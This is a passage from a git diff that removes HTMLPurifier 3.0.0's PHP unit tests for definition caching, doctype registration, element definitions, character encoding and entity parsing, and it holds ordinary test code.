setup() { - $this->cache = new HTMLPurifier_DefinitionCache_Decorator_Cleanup(); - parent::setup(); - } - - function setupMockForSuccess($op) { - $this->mock->expectOnce($op, array($this->def, $this->config)); - $this->mock->setReturnValue($op, true, array($this->def, $this->config)); - $this->mock->expectNever('cleanup'); - } - - function setupMockForFailure($op) { - $this->mock->expectOnce($op, array($this->def, $this->config)); - $this->mock->setReturnValue($op, false, array($this->def, $this->config)); - $this->mock->expectOnce('cleanup', array($this->config)); - } - - function test_get() { - $this->mock->expectOnce('get', array($this->config)); - $this->mock->setReturnValue('get', true, array($this->config)); - $this->mock->expectNever('cleanup'); - $this->assertEqual($this->cache->get($this->config), $this->def); - } - - function test_get_failure() { - $this->mock->expectOnce('get', array($this->config)); - $this->mock->setReturnValue('get', false, array($this->config)); - $this->mock->expectOnce('cleanup', array($this->config)); - $this->assertEqual($this->cache->get($this->config), false); - } - - function test_set() { - $this->setupMockForSuccess('set'); - $this->assertEqual($this->cache->set($this->def, $this->config), true); - } - - function test_replace() { - $this->setupMockForSuccess('replace'); - $this->assertEqual($this->cache->replace($this->def, $this->config), true); - } - - function test_add() { - $this->setupMockForSuccess('add'); - $this->assertEqual($this->cache->add($this->def, $this->config), true); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/Decorator/MemoryTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/Decorator/MemoryTest.php deleted file mode 100644 index cba780f..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/Decorator/MemoryTest.php +++ /dev/null @@ -1,72 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCache/DecoratorHarness.php'; -require_once 'HTMLPurifier/DefinitionCache/Decorator/Memory.php'; - -generate_mock_once('HTMLPurifier_DefinitionCache'); - -class HTMLPurifier_DefinitionCache_Decorator_MemoryTest extends HTMLPurifier_DefinitionCache_DecoratorHarness -{ - - function setup() { - $this->cache = new HTMLPurifier_DefinitionCache_Decorator_Memory(); - parent::setup(); - } - - function setupMockForSuccess($op) { - $this->mock->expectOnce($op, array($this->def, $this->config)); - $this->mock->setReturnValue($op, true, array($this->def, $this->config)); - $this->mock->expectNever('get'); - } - - function setupMockForFailure($op) { - $this->mock->expectOnce($op, array($this->def, $this->config)); - $this->mock->setReturnValue($op, false, array($this->def, $this->config)); - $this->mock->expectOnce('get', array($this->config)); - } - - function test_get() { - $this->mock->expectOnce('get', array($this->config)); // only ONE call! - $this->mock->setReturnValue('get', $this->def, array($this->config)); - $this->assertEqual($this->cache->get($this->config), $this->def); - $this->assertEqual($this->cache->get($this->config), $this->def); - } - - function test_set() { - $this->setupMockForSuccess('set', 'get'); - $this->assertEqual($this->cache->set($this->def, $this->config), true); - $this->assertEqual($this->cache->get($this->config), $this->def); - } - - function test_set_failure() { - $this->setupMockForFailure('set', 'get'); - $this->assertEqual($this->cache->set($this->def, $this->config), false); - $this->cache->get($this->config); - } - - function test_replace() { - $this->setupMockForSuccess('replace', 'get'); - $this->assertEqual($this->cache->replace($this->def, $this->config), true); - $this->assertEqual($this->cache->get($this->config), $this->def); - } - - function test_replace_failure() { - $this->setupMockForFailure('replace', 'get'); - $this->assertEqual($this->cache->replace($this->def, $this->config), false); - $this->cache->get($this->config); - } - - function test_add() { - $this->setupMockForSuccess('add', 'get'); - $this->assertEqual($this->cache->add($this->def, $this->config), true); - $this->assertEqual($this->cache->get($this->config), $this->def); - } - - function test_add_failure() { - $this->setupMockForFailure('add', 'get'); - $this->assertEqual($this->cache->add($this->def, $this->config), false); - $this->cache->get($this->config); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/DecoratorHarness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/DecoratorHarness.php deleted file mode 100644 index 78c753a..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/DecoratorHarness.php +++ /dev/null @@ -1,25 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCacheHarness.php'; -require_once 'HTMLPurifier/DefinitionCache/Decorator/Memory.php'; - -generate_mock_once('HTMLPurifier_DefinitionCache'); - -class HTMLPurifier_DefinitionCache_DecoratorHarness extends HTMLPurifier_DefinitionCacheHarness -{ - - function setup() { - $this->mock = new HTMLPurifier_DefinitionCacheMock(); - $this->mock->type = 'Test'; - $this->cache = $this->cache->decorate($this->mock); - $this->def = $this->generateDefinition(); - $this->config = $this->generateConfigMock(); - } - - function teardown() { - unset($this->mock); - unset($this->cache); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/DecoratorTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/DecoratorTest.php deleted file mode 100644 index 1390d54..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/DecoratorTest.php +++ /dev/null @@ -1,44 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCacheHarness.php'; -require_once 'HTMLPurifier/DefinitionCache/Decorator.php'; - -class HTMLPurifier_DefinitionCache_DecoratorTest extends HTMLPurifier_DefinitionCacheHarness -{ - - function test() { - - generate_mock_once('HTMLPurifier_DefinitionCache'); - $mock = new HTMLPurifier_DefinitionCacheMock(); - $mock->type = 'Test'; - - $cache = new HTMLPurifier_DefinitionCache_Decorator(); - $cache = $cache->decorate($mock); - - $this->assertIdentical($cache->type, $mock->type); - - $def = $this->generateDefinition(); - $config = $this->generateConfigMock(); - - $mock->expectOnce('add', array($def, $config)); - $cache->add($def, $config); - - $mock->expectOnce('set', array($def, $config)); - $cache->set($def, $config); - - $mock->expectOnce('replace', array($def, $config)); - $cache->replace($def, $config); - - $mock->expectOnce('get', array($config)); - $cache->get($config); - - $mock->expectOnce('flush', array($config)); - $cache->flush($config); - - $mock->expectOnce('cleanup', array($config)); - $cache->cleanup($config); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/SerializerTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/SerializerTest.php deleted file mode 100644 index 7c7b9f2..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCache/SerializerTest.php +++ /dev/null @@ -1,200 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCacheHarness.php'; -require_once 'HTMLPurifier/DefinitionCache/Serializer.php'; - -class HTMLPurifier_DefinitionCache_SerializerTest extends HTMLPurifier_DefinitionCacheHarness -{ - - function test() { - - $cache = new HTMLPurifier_DefinitionCache_Serializer('Test'); - - $config = $this->generateConfigMock('serial'); - $config->setReturnValue('get', 2, array('Test', 'DefinitionRev')); - $config->version = '1.0.0'; - - $config_md5 = '1.0.0-serial-2'; - - $file = realpath( - $rel_file = HTMLPURIFIER_PREFIX . '/HTMLPurifier/DefinitionCache/Serializer/Test/' . - $config_md5 . '.ser' - ); - if($file && file_exists($file)) unlink($file); // prevent previous failures from causing problems - - $this->assertIdentical($config_md5, $cache->generateKey($config)); - - $def_original = $this->generateDefinition(); - - $cache->add($def_original, $config); - $this->assertFileExist($rel_file); - - $file_generated = $cache->generateFilePath($config); - $this->assertIdentical(realpath($rel_file), realpath($file_generated)); - - $def_1 = $cache->get($config); - $this->assertIdentical($def_original, $def_1); - - $def_original->info_random = 'changed'; - - $cache->set($def_original, $config); - $def_2 = $cache->get($config); - - $this->assertIdentical($def_original, $def_2); - $this->assertNotEqual ($def_original, $def_1); - - $def_original->info_random = 'did it change?'; - - $this->assertFalse($cache->add($def_original, $config)); - $def_3 = $cache->get($config); - - $this->assertNotEqual ($def_original, $def_3); // did not change! - $this->assertIdentical($def_3, $def_2); - - $cache->replace($def_original, $config); - $def_4 = $cache->get($config); - $this->assertIdentical($def_original, $def_4); - - $cache->remove($config); - $this->assertFileNotExist($file); - - $this->assertFalse($cache->replace($def_original, $config)); - $def_5 = $cache->get($config); - $this->assertFalse($def_5); - - } - - function test_errors() { - $cache = new HTMLPurifier_DefinitionCache_Serializer('Test'); - $def = $this->generateDefinition(); - $def->setup = true; - $def->type = 'NotTest'; - $config = $this->generateConfigMock('testfoo'); - - $this->expectError('Cannot use definition of type NotTest in cache for Test'); - $cache->add($def, $config); - - $this->expectError('Cannot use definition of type NotTest in cache for Test'); - $cache->set($def, $config); - - $this->expectError('Cannot use definition of type NotTest in cache for Test'); - $cache->replace($def, $config); - } - - function test_flush() { - - $cache = new HTMLPurifier_DefinitionCache_Serializer('Test'); - - $config1 = $this->generateConfigMock('test1'); - $config2 = $this->generateConfigMock('test2'); - $config3 = $this->generateConfigMock('test3'); - - $def1 = $this->generateDefinition(array('info_candles' => 1)); - $def2 = $this->generateDefinition(array('info_candles' => 2)); - $def3 = $this->generateDefinition(array('info_candles' => 3)); - - $cache->add($def1, $config1); - $cache->add($def2, $config2); - $cache->add($def3, $config3); - - $this->assertEqual($def1, $cache->get($config1)); - $this->assertEqual($def2, $cache->get($config2)); - $this->assertEqual($def3, $cache->get($config3)); - - $cache->flush($config1); // only essential directive is %Cache.SerializerPath - - $this->assertFalse($cache->get($config1)); - $this->assertFalse($cache->get($config2)); - $this->assertFalse($cache->get($config3)); - - } - - function testCleanup() { - - $cache = new HTMLPurifier_DefinitionCache_Serializer('Test'); - - // in order of age, oldest first - // note that configurations are all identical, but version/revision - // are different - - $config1 = $this->generateConfigMock(); - $config1->version = '0.9.0'; - $config1->setReturnValue('get', 574, array('Test', 'DefinitionRev')); - $def1 = $this->generateDefinition(array('info' => 1)); - - $config2 = $this->generateConfigMock(); - $config2->version = '1.0.0beta'; - $config2->setReturnValue('get', 1, array('Test', 'DefinitionRev')); - $def2 = $this->generateDefinition(array('info' => 3)); - - $cache->set($def1, $config1); - $cache->cleanup($config1); - $this->assertEqual($def1, $cache->get($config1)); // no change - - $cache->cleanup($config2); - $this->assertFalse($cache->get($config1)); - $this->assertFalse($cache->get($config2)); - - } - - function testCleanupOnlySameID() { - - $cache = new HTMLPurifier_DefinitionCache_Serializer('Test'); - - $config1 = $this->generateConfigMock('serial1'); - $config1->version = '1.0.0'; - $config1->setReturnValue('get', 1, array('Test', 'DefinitionRev')); - $def1 = $this->generateDefinition(array('info' => 1)); - - $config2 = $this->generateConfigMock('serial2'); - $config2->version = '1.0.0'; - $config2->setReturnValue('get', 34, array('Test', 'DefinitionRev')); - $def2 = $this->generateDefinition(array('info' => 3)); - - $cache->set($def1, $config1); - $cache->cleanup($config1); - $this->assertEqual($def1, $cache->get($config1)); // no change - - $cache->set($def2, $config2); - $cache->cleanup($config2); - $this->assertEqual($def1, $cache->get($config1)); - $this->assertEqual($def2, $cache->get($config2)); - - $cache->flush($config1); - } - - /** - * Asserts that a file exists, ignoring the stat cache - */ - function assertFileExist($file) { - clearstatcache(); - $this->assertTrue(file_exists($file), 'Expected ' . $file . ' exists'); - } - - /** - * Asserts that a file does not exist, ignoring the stat cache - */ - function assertFileNotExist($file) { - $this->assertFalse(file_exists($file), 'Expected ' . $file . ' does not exist'); - } - - function testAlternatePath() { - - $cache = new HTMLPurifier_DefinitionCache_Serializer('Test'); - $config = $this->generateConfigMock('serial'); - $config->version = '1.0.0'; - $config->setReturnValue('get', 1, array('Test', 'DefinitionRev')); - $dir = dirname(__FILE__) . '/SerializerTest'; - $config->setReturnValue('get', $dir, array('Cache', 'SerializerPath')); - - $def_original = $this->generateDefinition(); - $cache->add($def_original, $config); - $this->assertFileExist($dir . '/Test/1.0.0-serial-1.ser'); - - unlink($dir . '/Test/1.0.0-serial-1.ser'); - rmdir( $dir . '/Test'); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCacheFactoryTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCacheFactoryTest.php deleted file mode 100644 index d2585be..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCacheFactoryTest.php +++ /dev/null @@ -1,71 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCacheFactory.php'; - -class HTMLPurifier_DefinitionCacheFactoryTest extends HTMLPurifier_Harness -{ - - protected $factory; - protected $oldFactory; - - function setup() { - parent::setup(); - $this->factory = new HTMLPurifier_DefinitionCacheFactory(); - $this->oldFactory = HTMLPurifier_DefinitionCacheFactory::instance(); - HTMLPurifier_DefinitionCacheFactory::instance($this->factory); - } - - function teardown() { - HTMLPurifier_DefinitionCacheFactory::instance($this->oldFactory); - } - - function test_create() { - $cache = $this->factory->create('Test', $this->config); - $this->assertEqual($cache, new HTMLPurifier_DefinitionCache_Serializer('Test')); - } - - function test_create_withDecorator() { - $this->factory->addDecorator('Memory'); - $cache = $this->factory->create('Test', $this->config); - $cache_real = new HTMLPurifier_DefinitionCache_Decorator_Memory(); - $cache_real = $cache_real->decorate(new HTMLPurifier_DefinitionCache_Serializer('Test')); - $this->assertEqual($cache, $cache_real); - } - - function test_create_withDecoratorObject() { - $this->factory->addDecorator(new HTMLPurifier_DefinitionCache_Decorator_Memory()); - $cache = $this->factory->create('Test', $this->config); - $cache_real = new HTMLPurifier_DefinitionCache_Decorator_Memory(); - $cache_real = $cache_real->decorate(new HTMLPurifier_DefinitionCache_Serializer('Test')); - $this->assertEqual($cache, $cache_real); - } - - function test_create_recycling() { - $cache = $this->factory->create('Test', $this->config); - $cache2 = $this->factory->create('Test', $this->config); - $this->assertReference($cache, $cache2); - } - - function test_create_invalid() { - $this->config->set('Core', 'DefinitionCache', 'Invalid'); - $this->expectError('Unrecognized DefinitionCache Invalid, using Serializer instead'); - $cache = $this->factory->create('Test', $this->config); - $this->assertIsA($cache, 'HTMLPurifier_DefinitionCache_Serializer'); - } - - function test_null() { - $this->config->set('Core', 'DefinitionCache', null); - $cache = $this->factory->create('Test', $this->config); - $this->assertEqual($cache, new HTMLPurifier_DefinitionCache_Null('Test')); - } - - function test_register() { - generate_mock_once('HTMLPurifier_DefinitionCache'); - $this->config->set('Core', 'DefinitionCache', 'TestCache'); - $this->factory->register('TestCache', $class = 'HTMLPurifier_DefinitionCacheMock'); - $cache = $this->factory->create('Test', $this->config); - $this->assertIsA($cache, $class); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCacheHarness.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCacheHarness.php deleted file mode 100644 index 0e09cec..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCacheHarness.php +++ /dev/null @@ -1,35 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionTestable.php'; - -class HTMLPurifier_DefinitionCacheHarness extends HTMLPurifier_Harness -{ - - /** - * Generate a configuration mock object that returns $values - * to a getBatch() call - * @param $values Values to return when getBatch is invoked - */ - function generateConfigMock($serial = 'defaultserial') { - generate_mock_once('HTMLPurifier_Config'); - $config = new HTMLPurifier_ConfigMock(); - $config->setReturnValue('getBatchSerial', $serial, array('Test')); - $config->version = '1.0.0'; - return $config; - } - - /** - * Returns an anonymous def that has been setup and named Test - */ - function generateDefinition($member_vars = array()) { - $def = new HTMLPurifier_DefinitionTestable(); - $def->setup = true; - $def->type = 'Test'; - foreach ($member_vars as $key => $val) { - $def->$key = $val; - } - return $def; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCacheTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCacheTest.php deleted file mode 100644 index 3c68d04..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionCacheTest.php +++ /dev/null @@ -1,41 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DefinitionCache.php'; - -class HTMLPurifier_DefinitionCacheTest extends HTMLPurifier_Harness -{ - - function test_isOld() { - // using null subclass because parent is abstract - $cache = new HTMLPurifier_DefinitionCache_Null('Test'); - - $old_copy = HTMLPurifier_ConfigSchema::instance(); - $o = new HTMLPurifier_ConfigSchema(); - HTMLPurifier_ConfigSchema::instance($o); - - HTMLPurifier_ConfigSchema::defineNamespace('Test', 'Test namespace'); - HTMLPurifier_ConfigSchema::define('Test', 'DefinitionRev', 1, 'int', 'Definition revision.'); - - generate_mock_once('HTMLPurifier_Config'); - $config = new HTMLPurifier_ConfigMock(); - $config->version = '1.0.0'; // hopefully no conflicts - $config->setReturnValue('get', 10, array('Test', 'DefinitionRev')); - $config->setReturnValue('getBatchSerial', 'hash', array('Test')); - - $this->assertIdentical($cache->isOld('1.0.0-hash-10', $config), false); - $this->assertIdentical($cache->isOld('1.5.0-hash-1', $config), true); - - $this->assertIdentical($cache->isOld('0.9.0-hash-1', $config), true); - $this->assertIdentical($cache->isOld('1.0.0-hash-1', $config), true); - $this->assertIdentical($cache->isOld('1.0.0beta-hash-11', $config), true); - - $this->assertIdentical($cache->isOld('0.9.0-hash2-1', $config), true); - $this->assertIdentical($cache->isOld('1.0.0-hash2-1', $config), false); // if hash is different, don't touch! - $this->assertIdentical($cache->isOld('1.0.0beta-hash2-11', $config), true); - - HTMLPurifier_ConfigSchema::instance($old_copy); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionTest.php deleted file mode 100644 index d30fd47..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionTest.php +++ /dev/null @@ -1,22 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Definition.php'; -require_once 'HTMLPurifier/DefinitionTestable.php'; - -class HTMLPurifier_DefinitionTest extends HTMLPurifier_Harness -{ - function test_setup() { - $def = new HTMLPurifier_DefinitionTestable(); - $config = HTMLPurifier_Config::createDefault(); - $def->expectOnce('doSetup', array($config)); - $def->setup($config); - } - function test_setup_redundant() { - $def = new HTMLPurifier_DefinitionTestable(); - $config = HTMLPurifier_Config::createDefault(); - $def->expectNever('doSetup'); - $def->setup = true; - $def->setup($config); - } -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionTestable.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionTestable.php deleted file mode 100644 index 7a33d96..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DefinitionTestable.php +++ /dev/null @@ -1,7 +0,0 @@ -<?php - -Mock::generatePartial( - 'HTMLPurifier_Definition', - 'HTMLPurifier_DefinitionTestable', - array('doSetup')); - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DoctypeRegistryTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DoctypeRegistryTest.php deleted file mode 100644 index cec9dfc..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/DoctypeRegistryTest.php +++ /dev/null @@ -1,78 +0,0 @@ -<?php - -require_once 'HTMLPurifier/DoctypeRegistry.php'; - -class HTMLPurifier_DoctypeRegistryTest extends HTMLPurifier_Harness -{ - - function test_register() { - - $registry = new HTMLPurifier_DoctypeRegistry(); - - $d =& $registry->register( - $name = 'XHTML 1.0 Transitional', - $xml = true, - $modules = array('module-one', 'module-two'), - $tidyModules = array('lenient-module'), - $aliases = array('X10T') - ); - - $d2 = new HTMLPurifier_Doctype($name, $xml, $modules, $tidyModules, $aliases); - - $this->assertIdentical($d, $d2); - $this->assertReference($d, $registry->get('XHTML 1.0 Transitional')); - - // test shorthand - $d =& $registry->register( - $name = 'XHTML 1.0 Strict', true, 'module', 'Tidy', 'X10S' - ); - $d2 = new HTMLPurifier_Doctype($name, true, array('module'), array('Tidy'), array('X10S')); - - $this->assertIdentical($d, $d2); - - } - - function test_get() { - - // see also alias and register tests - - $registry = new HTMLPurifier_DoctypeRegistry(); - - $this->expectError('Doctype XHTML 2.0 does not exist'); - $registry->get('XHTML 2.0'); - - // prevent XSS - $this->expectError('Doctype &lt;foo&gt; does not exist'); - $registry->get('<foo>'); - - } - - function testAliases() { - - $registry = new HTMLPurifier_DoctypeRegistry(); - - $d1 =& $registry->register('Doc1', true, array(), array(), array('1')); - - $this->assertReference($d1, $registry->get('Doc1')); - $this->assertReference($d1, $registry->get('1')); - - $d2 =& $registry->register('Doc2', true, array(), array(), array('2')); - - $this->assertReference($d2, $registry->get('Doc2')); - $this->assertReference($d2, $registry->get('2')); - - $d3 =& $registry->register('1', true, array(), array(), array()); - - // literal name overrides alias - $this->assertReference($d3, $registry->get('1')); - - $d4 =& $registry->register('One', true, array(), array(), array('1')); - - $this->assertReference($d4, $registry->get('One')); - // still it overrides - $this->assertReference($d3, $registry->get('1')); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ElementDefTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ElementDefTest.php deleted file mode 100644 index a947b4c..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/ElementDefTest.php +++ /dev/null @@ -1,95 +0,0 @@ -<?php - -require_once 'HTMLPurifier/ElementDef.php'; - -class HTMLPurifier_ElementDefTest extends HTMLPurifier_Harness -{ - - function test_mergeIn() { - - $def1 = new HTMLPurifier_ElementDef(); - $def2 = new HTMLPurifier_ElementDef(); - $def3 = new HTMLPurifier_ElementDef(); - - $old = 1; - $new = 2; - $overloaded_old = 3; - $overloaded_new = 4; - $removed = 5; - - $def1->standalone = true; - $def1->attr = array( - 0 => array('old-include'), - 'old-attr' => $old, - 'overloaded-attr' => $overloaded_old, - 'removed-attr' => $removed, - ); - $def1->attr_transform_pre = - $def1->attr_transform_post = array( - 'old-transform' => $old, - 'overloaded-transform' => $overloaded_old, - 'removed-transform' => $removed, - ); - $def1->child = $overloaded_old; - $def1->content_model = 'old'; - $def1->content_model_type = $overloaded_old; - $def1->descendants_are_inline = false; - $def1->excludes = array( - 'old' => true, - 'removed-old' => true - ); - $def1->safe = false; - - $def2->standalone = false; - $def2->attr = array( - 0 => array('new-include'), - 'new-attr' => $new, - 'overloaded-attr' => $overloaded_new, - 'removed-attr' => false, - ); - $def2->attr_transform_pre = - $def2->attr_transform_post = array( - 'new-transform' => $new, - 'overloaded-transform' => $overloaded_new, - 'removed-transform' => false, - ); - $def2->child = $new; - $def2->content_model = 'new'; - $def2->content_model_type = $overloaded_new; - $def2->descendants_are_inline = true; - $def2->excludes = array( - 'new' => true, - 'removed-old' => false - ); - $def2->safe = true; - - $def1->mergeIn($def2); - $def1->mergeIn($def3); // empty, has no effect - - $this->assertIdentical($def1->standalone, true); - $this->assertIdentical($def1->attr, array( - 0 => array('old-include', 'new-include'), - 'old-attr' => $old, - 'overloaded-attr' => $overloaded_new, - 'new-attr' => $new, - )); - $this->assertIdentical($def1->attr_transform_pre, $def1->attr_transform_post); - $this->assertIdentical($def1->attr_transform_pre, array( - 'old-transform' => $old, - 'overloaded-transform' => $overloaded_new, - 'new-transform' => $new, - )); - $this->assertIdentical($def1->child, $new); - $this->assertIdentical($def1->content_model, 'old | new'); - $this->assertIdentical($def1->content_model_type, $overloaded_new); - $this->assertIdentical($def1->descendants_are_inline, true); - $this->assertIdentical($def1->excludes, array( - 'old' => true, - 'new' => true - )); - $this->assertIdentical($def1->safe, true); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/EncoderTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/EncoderTest.php deleted file mode 100644 index 8af0e66..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/EncoderTest.php +++ /dev/null @@ -1,146 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Encoder.php'; - -class HTMLPurifier_EncoderTest extends HTMLPurifier_Harness -{ - - protected $_entity_lookup; - - function setUp() { - $this->_entity_lookup = HTMLPurifier_EntityLookup::instance(); - } - - function assertCleanUTF8($string, $expect = null) { - if ($expect === null) $expect = $string; - $this->assertIdentical(HTMLPurifier_Encoder::cleanUTF8($string), $expect, 'iconv: %s'); - $this->assertIdentical(HTMLPurifier_Encoder::cleanUTF8($string, true), $expect, 'PHP: %s'); - } - - function test_cleanUTF8() { - $this->assertCleanUTF8('Normal string.'); - $this->assertCleanUTF8("Test\tAllowed\nControl\rCharacters"); - $this->assertCleanUTF8("null byte: \0", 'null byte: '); - $this->assertCleanUTF8("\1\2\3\4\5\6\7", ''); - $this->assertCleanUTF8("\x7F", ''); // one byte invalid SGML char - $this->assertCleanUTF8("\xC2\x80", ''); // two byte invalid SGML - $this->assertCleanUTF8("\xF3\xBF\xBF\xBF"); // valid four byte - $this->assertCleanUTF8("\xDF\xFF", ''); // malformed UTF8 - } - - function test_convertToUTF8() { - $config = HTMLPurifier_Config::createDefault(); - $context = new HTMLPurifier_Context(); - - // UTF-8 means that we don't touch it - $this->assertIdentical( - HTMLPurifier_Encoder::convertToUTF8("\xF6", $config, $context), - "\xF6", // this is invalid - 'Expected identical [Binary: F6]' - ); - $this->assertNoErrors(); - - $config = HTMLPurifier_Config::create(array( - 'Core.Encoding' => 'ISO-8859-1' - )); - - // Now it gets converted - $this->assertIdentical( - HTMLPurifier_Encoder::convertToUTF8("\xF6", $config, $context), - "\xC3\xB6" - ); - - $config = HTMLPurifier_Config::create(array( - 'Core.Encoding' => 'ISO-8859-1', - 'Test.ForceNoIconv' => true - )); - $this->assertIdentical( - HTMLPurifier_Encoder::convertToUTF8("\xF6", $config, $context), - "\xC3\xB6" - ); - - } - - function test_convertFromUTF8() { - $config = HTMLPurifier_Config::createDefault(); - $context = new HTMLPurifier_Context(); - - // zhong-wen - $chinese = "\xE4\xB8\xAD\xE6\x96\x87 (Chinese)"; - - // UTF-8 means that we don't touch it - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8("\xC3\xB6", $config, $context), - "\xC3\xB6" - ); - - $config = HTMLPurifier_Config::create(array( - 'Core.Encoding' => 'ISO-8859-1' - )); - - // Now it gets converted - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8("\xC3\xB6", $config, $context), - "\xF6", - 'Expected identical [Binary: F6]' - ); - - if (function_exists('iconv')) { - // iconv has it's own way - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8($chinese, $config, $context), - " (Chinese)" - ); - } - - // Plain PHP implementation has slightly different behavior - $config = HTMLPurifier_Config::create(array( - 'Core.Encoding' => 'ISO-8859-1', - 'Test.ForceNoIconv' => true - )); - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8("\xC3\xB6", $config, $context), - "\xF6", - 'Expected identical [Binary: F6]' - ); - - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8($chinese, $config, $context), - "?? (Chinese)" - ); - - // Preserve the characters! - $config = HTMLPurifier_Config::create(array( - 'Core.Encoding' => 'ISO-8859-1', - 'Core.EscapeNonASCIICharacters' => true - )); - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8($chinese, $config, $context), - "&#20013;&#25991; (Chinese)" - ); - - } - - function test_convertToASCIIDumbLossless() { - - // Uppercase thorn letter - $this->assertIdentical( - HTMLPurifier_Encoder::convertToASCIIDumbLossless("\xC3\x9Eorn"), - "&#222;orn" - ); - - $this->assertIdentical( - HTMLPurifier_Encoder::convertToASCIIDumbLossless("an"), - "an" - ); - - // test up to four bytes - $this->assertIdentical( - HTMLPurifier_Encoder::convertToASCIIDumbLossless("\xF3\xA0\x80\xA0"), - "&#917536;" - ); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/EntityLookupTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/EntityLookupTest.php deleted file mode 100644 index 5b03150..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/EntityLookupTest.php +++ /dev/null @@ -1,28 +0,0 @@ -<?php - -// this page is UTF-8 encoded! - -require_once 'HTMLPurifier/EntityLookup.php'; - -class HTMLPurifier_EntityLookupTest extends HTMLPurifier_Harness -{ - - function test() { - - $lookup = HTMLPurifier_EntityLookup::instance(); - - // latin char - $this->assertIdentical('â', $lookup->table['acirc']); - - // special char - $this->assertIdentical('"', $lookup->table['quot']); - $this->assertIdentical('“', $lookup->table['ldquo']); - $this->assertIdentical('<', $lookup->table['lt']); // expressed strangely in source file - - // symbol char - $this->assertIdentical('θ', $lookup->table['theta']); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/EntityParserTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/EntityParserTest.php deleted file mode 100644 index e41006c..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/EntityParserTest.php +++ /dev/null @@ -1,86 +0,0 @@ -<?php - -require_once 'HTMLPurifier/EntityParser.php'; - -class HTMLPurifier_EntityParserTest extends HTMLPurifier_Harness -{ - - protected $EntityParser; - - function setUp() { - $this->EntityParser = new HTMLPurifier_EntityParser(); - $this->_entity_lookup = HTMLPurifier_EntityLookup::instance(); - } - - function test_substituteNonSpecialEntities() { - $char_theta = $this->_entity_lookup->table['theta']; - $this->assertIdentical($char_theta, - $this->EntityParser->substituteNonSpecialEntities('&theta;') ); - $this->assertIdentical('"', - $this->EntityParser->substituteNonSpecialEntities('"') ); - - // numeric tests, adapted from Feyd - $args = array(); - $args[] = array(1114112,false ); - $args[] = array(1114111,'F48FBFBF'); // 0x0010FFFF - $args[] = array(1048576,'F4808080'); // 0x00100000 - $args[] = array(1048575,'F3BFBFBF'); // 0x000FFFFF - $args[] = array(262144, 'F1808080'); // 0x00040000 - $args[] = array(262143, 'F0BFBFBF'); // 0x0003FFFF - $args[] = array(65536, 'F0908080'); // 0x00010000 - $args[] = array(65535, 'EFBFBF' ); // 0x0000FFFF - $args[] = array(57344, 